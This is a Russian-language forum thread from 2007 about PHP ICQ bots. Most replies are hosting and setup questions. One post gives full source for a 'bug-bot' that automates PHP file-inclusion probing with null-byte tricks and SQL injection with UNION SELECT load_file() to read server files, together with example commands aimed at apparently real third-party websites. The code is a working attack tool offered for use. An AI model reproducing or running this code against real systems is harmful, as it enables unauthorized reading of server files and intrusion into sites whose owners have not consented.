ICQ Bot

Discussion in 'Skype, IRC, ICQ, Jabber и другие IM' started by NOmeR1, 29 Mar 2007.

  1. mad_xakep

    mad_xakep Banned

    Joined:
    10 Apr 2007
    Messages:
    190
    Likes Received:
    68
    Reputations:
    0
    а как скрипт бота запускать?
     
  2. mad_xakep

    mad_xakep Banned

    Joined:
    10 Apr 2007
    Messages:
    190
    Likes Received:
    68
    Reputations:
    0
    а нельзя ли на другом сервере разместить кроме этого 1gb.in
     
  3. Cawabunga

    Cawabunga Elder - Старейшина

    Joined:
    16 Apr 2007
    Messages:
    359
    Likes Received:
    165
    Reputations:
    -22
    Научите пользоватся(
     
  4. KPOT_f!nd

    KPOT_f!nd положенец общага

    Joined:
    25 Aug 2006
    Messages:
    1,074
    Likes Received:
    502
    Reputations:
    65
    можно просто это холявный софт+ soket там есть(если мну память не изменяет)
    перечитай с 1 страницы, много раз уже писали что и как с ним делать . . .
     
  5. cb93ka

    cb93ka Elder - Старейшина

    Joined:
    4 Jan 2007
    Messages:
    36
    Likes Received:
    13
    Reputations:
    3
    офф. размещу за 1 в месяц ;)
     
  6. anarсhist

    anarсhist Member

    Joined:
    28 Apr 2007
    Messages:
    25
    Likes Received:
    5
    Reputations:
    0
    накидал тут тоже бота простенького (на webicqlite.class.php), попытался прикрутить к нему функцию показа прогноза погоды. чтобы особо не париться с парсингом gismeteo и ему подобных сайтов решил просто отсылать боту gismeteo название города, дожидаться ответа и отсылать запросчику ответ этого бота. но возникла проблема, бот гисметео не присылает ответ, перепробовал кучу других ботов ответ также не приходил... помогите кто чем может.

    на счет серверов, можно разместить еще на awardspase.com, но мой бот трагически погиб через 2 недели (удалили гады).
     
  7. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    Я же всё в первом посте написал.
     
  8. 0-444

    0-444 New Member

    Joined:
    31 Mar 2007
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    http://www.1gb.in/
    не нашёл как зарегиться(
    все ссылки ведут на главную..(
    Где найти хост?
     
    #28 0-444, 30 Apr 2007
    Last edited: 30 Apr 2007
  9. anarсhist

    anarсhist Member

    Joined:
    28 Apr 2007
    Messages:
    25
    Likes Received:
    5
    Reputations:
    0
    скорее всего временно прекратили регистрацию, жди! :)
     
  10. 0-444

    0-444 New Member

    Joined:
    31 Mar 2007
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    как скрипт запускаеться? а то я никак не пойму(
     
  11. kirbak

    kirbak Elder - Старейшина

    Joined:
    7 Dec 2006
    Messages:
    28
    Likes Received:
    12
    Reputations:
    1
    Браузером :)
     
  12. 0-444

    0-444 New Member

    Joined:
    31 Mar 2007
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    У меня новая фигня, типа всё номано, запустил, первый раз запустил бота он просидел до тайм-аута =), после запускаю он стучиться пару раз в асю и вылетает в браузере выдаёт "UIN blocked, please try again 20 min later" =(

    В чём проблема?
     
  13. anarсhist

    anarсhist Member

    Joined:
    28 Apr 2007
    Messages:
    25
    Likes Received:
    5
    Reputations:
    0
    видимо слишком много попыток логина =). подожди 20 мин, если не терпится, то зарегай еще один номерок и впиши на время его .
     
  14. 0-444

    0-444 New Member

    Joined:
    31 Mar 2007
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Цеплял на свой хост(купленый) отказываеться номано работать.

    ЦГде взять бессплатный, нормальтный хост для бота?
     
  15. mr.The

    mr.The Elder - Старейшина

    Joined:
    30 Apr 2007
    Messages:
    1,080
    Likes Received:
    456
    Reputations:
    38
    мой висел на 1gb.in ибо там есть поддержка сокетов
     
  16. 0-444

    0-444 New Member

    Joined:
    31 Mar 2007
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    нельзя зарегиться там
     
  17. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    PHP:
    <?php
    error_reporting 
    (E_ALL);
    set_time_limit(FALSE);
    ignore_user_abort(TRUE);
    ini_set('max_execution_time''0');
    require_once(
    'WebIcqLite.class.php');
    define('UIN',      '123456789'); //Номер бота
    define('PASSWORD''PASSW0RD');  //Пароль бота
    define('ADMIN',    '555000');    //Номер админа бота

    $icq = new WebIcqLite();  

    if(!
    $icq->connect(UINPASSWORD))  
    {  
        echo 
    $icq->error;
        exit();
    }

    $icq->send_message(ADMIN'Online');

    while(
    $icq->is_connected())
    {

        
    $msg $icq->read_message();
        
    $m strtolower($msg['message']);
        
    $dirs explode("\n"file_get_contents('dirs.txt'));

        if(
    preg_match("/^!php-inj\s+'(.+)','(true|false)'$/",$m,$regs))
        {
        
            
    $url  $regs[1];
            
    $null $regs[2];

            function 
    phpinj($url$file$null)
            {

                if(
    $null == true)
                {
                    
    $replace  $file.'%00';
                    
    $url_full str_replace('[php]',urlencode($file).'%00',$url);
                }

                elseif(
    $null == false)
                {
                    
    $replace  $file;
                    
    $url_full str_replace('[php]',urlencode($file),$url);
                }

                
    $urlOpen file_get_contents($url_full);

                if(
    preg_match('#(<b>Warning</b>|<b>Fatal error</b>).+'.$file.'#',$urlOpen))
                {
                    return 
    false;
                }

                elseif(
    $urlOpen)
                {
                    return 
    str_replace('[php]',$replace,$url);
                }

            }

            if(
    $null == 'true')
            {
                
    $null true;
            }

            else
            {
                
    $null false;
            }
            
            
    $send '';
        
            foreach(
    $dirs as $dir)
            {

                
    $php_inj phpinj($url$dir$null);

                if(
    $php_inj == true)
                {
                    
    $search true;
                    
    $send .= $php_inj."\n";
                }

            }

            if(
    $search == false)
            {
                
    $icq->send_message($msg['from'], 'Ничего не найдено');
            }

            else
            {
                
    $icq->send_message($msg['from'], preg_replace("|\n$|",NULL,$send));
            }

        }

        elseif(
    preg_match("/^!sql-inj\s+'(.+)','(\d+)','(\d+)','(true|false)'$/",$m,$regs))
        {

            function 
    sqlinj($url$cols$kol$comm$dir)
            {

                
    $one '-1+union+select+';

                for(
    $i=1;$i<=$cols;$i++)
                {

                    if(
    $i != $kol)
                    {
                        
    $one .= $i;
                    }

                    else
                    {
                        
    $one .= 'load_file('.$dir.')';
                    }

                    if(
    $i != $cols)
                    {
                        
    $one .= ',';
                    }

                }

                if(
    $comm)
                {
                    
    $comm '/*';
                }

                else
                {
                    
    $comm null;
                }

                
    $url str_replace('[sql]',$one.$comm,$url);
                
    $urlOpen file_get_contents($url);
                
    $badUrl  file_get_contents(preg_replace('|load_file\((.+)\)|','load_file(0x74657374657374)',$url));

                if(
    substr_count($urlOpen,'You have an error in your SQL syntax.') != '0' || $urlOpen == $badUrl)
                {
                    return 
    false;
                }

                else
                {
                    return 
    $url;
                }

            }

            if(
    $regs[4] == 'true')
            {
                
    $comment true;
            }

            else
            {
                
    $comment false;
            }
            
            
    $send '';
        
            foreach(
    $dirs as $dir)
            {

                
    $dir str_replace('../../../../../../../../../../../..',NULL,$dir);
                
    $sql_inj sqlinj($regs[1], $regs[2], $regs[3], $comment'0x'.bin2hex($dir));

                if(
    $sql_inj == true)
                {
                    
    $search true;
                    
    $send .= $sql_inj."\n";
                }

            }

            if(
    $search != true)
            {
                
    $icq->send_message($msg['from'], 'Ничего не найдено');
            }

            else
            {
                
    $icq->send_message($msg['from'], preg_replace("|\n$|",NULL,$send));
            }

        }
        
        elseif(
    preg_match("/!bugtraq\s+'(.+)'/",$m,$regs))
        {
            
    $openBugTraq file_get_contents('http://www.securityfocus.com/swsearch?query='.$regs[1].'&sbm=archive%2F1%2F&submit=Search%21&metaname=alldoc&sort=swishrank');
            
    preg_match_all('|<a href="http://www.securityfocus.com/archive/(\d+)/(\d+)">[\n\s]+(.*)|',$openBugTraq,$array,PREG_SET_ORDER);
            
    $send '';

            foreach(
    $array as $bug)
            {
                
    $search true;
                
    $send .= 'http://www.securityfocus.com/archive/'.$bug[1].'/'.$bug[2].' ['.$bug[3].']'."\n";
            }

            if(
    $search != true)
            {
                
    $icq->send_message($msg['from'], 'Ничего не найдено');
            }

            else
            {
                
    $icq->send_message($msg['from'], preg_replace("|\n$|",NULL,$send));
            }

        }

        elseif(
    $msg['from'] == ADMIN && $m == '!quit')
        {
            
    $icq->send_message(ADMIN'Offline');
            
    $icq->disconnect();
        }

        else
        {
            
    $icq->send_message($msg['from'], 'Ваша команда не распознана');
        }

        
    flush();
        
    sleep(1);

    }

    ?>
    Написал небольшого баг-бота, функции:
    1. !php-inj 'http://www.ebrogreyhoundpark.com/index.php?pagename=
    PHP:
    ','false'
    2. !sql-inj '
    http://www.rockwm.de/songdetail.php?id=[sql]','12','7','true'
    3. !bugtraq 'phpMyAdmin'[/COLOR]

    Поясню:
    [
    COLOR=YellowGreen]1. Эта функция для поиска логов при php-инъекцииГде http://....[php] - это урл php инъекции, false - не ставить ноль байт, true - ставить ноль байт.
    2. Эта функция для поиска логов при sql-инъекцииГде http://....[sql] - это урл sql инъекции, 12 - это 12 столбцов, 7 - на 7-ой столбик ставим запрос, true - закоментировать конец запроса, false - нет.
    3. Ищем баги в двигах.[/COLOR]

    Файл директорий можете скачать от сюда:
    [
    url]http://webfile.ru/1542459[/url]
    Он должен быть в одной директории с ботом и называться dirs.txt.

    Бот попрежнему работает на WebIcqLite.class
     
    #37 NOmeR1, 29 Sep 2007
    Last edited: 29 Sep 2007